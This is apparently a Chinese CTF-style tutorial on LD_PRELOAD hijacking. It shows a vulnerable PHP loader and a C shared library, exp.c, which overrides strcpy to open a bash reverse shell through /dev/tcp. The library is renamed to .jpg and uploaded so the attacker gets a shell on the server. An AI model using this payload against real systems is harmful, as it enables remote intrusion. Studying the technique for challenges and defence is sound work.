LD_PRELOAD劫持

LD_PRELOAD劫持

<1> LD_PRELOAD简介

LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file, 那么我们就可以在自己定义的动态链接库中装入恶意函数。 也叫做LD_PRELOAD劫持,流程如下

  1. 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型
  2. 将包含替换函数的源码编译为动态链接库 命令:gcc -shared -fPIC 自定义文件.c -o生成的库文件.so
  3. 通过命令 export LD_PRELOAD="库文件路径",设置要优先替换动态链接库
  4. 如果找不替换库,可以通过 export LD_LIBRARY_PATH=库文件所在目录路径,设置系统查找库的目录
  5. 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除
  6. 想查询依赖关系,可以用ldd命令,例如: ldd random

例题:index.php的源码

vi -r index.php.swp 恢复文件内容

php 复制代码
$PATH=$_GET["image_path"];
if((!isset($PATH))){
    $PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
  if(file_exists($img_path)){
      //设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so  LD_PRELOAD设置的优先加载动态链接库 
    putenv("LD_PRELOAD=/var/www/html/$img_path");
#system函数这里可以劫持
    system("echo Success to load");
    echo "<br><img src=$img_path>";
  }else{
    system("echo Failed to load ");
  }
}

(1)strace 用于跟踪系统调用和信号

hack.php:

php 复制代码
<?php
    system("echo Success to load");

执行以下命令,可以查看进程调用的系统函数明细:

复制代码
strace -f php hack.php 2>&1 | grep -A2 -B2 execve

(2) readelf 命令查看一下 系统命令/bin/sh调用的函数,发现了 strcpy()

php 复制代码
 readelf -Ws /usr/bin/sh

综上,我们写一个 exp.c

cpp 复制代码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
void payload() {
    //反弹shell
    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
 
char *strcpy (char *__restrict __dest, const char *__restrict __src) { //不知道参数的话可以通过报错信息
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

执行 gcc -shared -fPIC exp.c -o exp.so

根据报错修改参数一致 ,重新运行生成exp.so LD_PRELOAD可以解析jpg后缀,只用修改后缀即可

上传文件所在路径:upload/exp.jpg,回到index.php 加载 upload/exp.jpg 服务器上拿到shell。

相关推荐
华玥作者4 小时前
[特殊字符] VitePress 对接 Algolia AI 问答(DocSearch + AI Search)完整实战(下)
前端·人工智能·ai
天才奇男子4 小时前
HAProxy高级功能全解析
linux·运维·服务器·微服务·云原生
Mr Xu_4 小时前
告别冗长 switch-case:Vue 项目中基于映射表的优雅路由数据匹配方案
前端·javascript·vue.js
小李独爱秋5 小时前
“bootmgr is compressed”错误:根源、笔记本与台式机差异化解决方案深度指南
运维·stm32·单片机·嵌入式硬件·文件系统·电脑故障
前端摸鱼匠5 小时前
Vue 3 的toRefs保持响应性:讲解toRefs在解构响应式对象时的作用
前端·javascript·vue.js·前端框架·ecmascript
学嵌入式的小杨同学5 小时前
【Linux 封神之路】信号编程全解析:从信号基础到 MP3 播放器实战(含核心 API 与避坑指南)
java·linux·c语言·开发语言·vscode·vim·ux
lang201509285 小时前
JSR-340 :高性能Web开发新标准
java·前端·servlet
酥暮沐5 小时前
iscsi部署网络存储
linux·网络·存储·iscsi
❀͜͡傀儡师5 小时前
centos 7部署dns服务器
linux·服务器·centos·dns
好家伙VCC6 小时前
### WebRTC技术:实时通信的革新与实现####webRTC(Web Real-TimeComm
java·前端·python·webrtc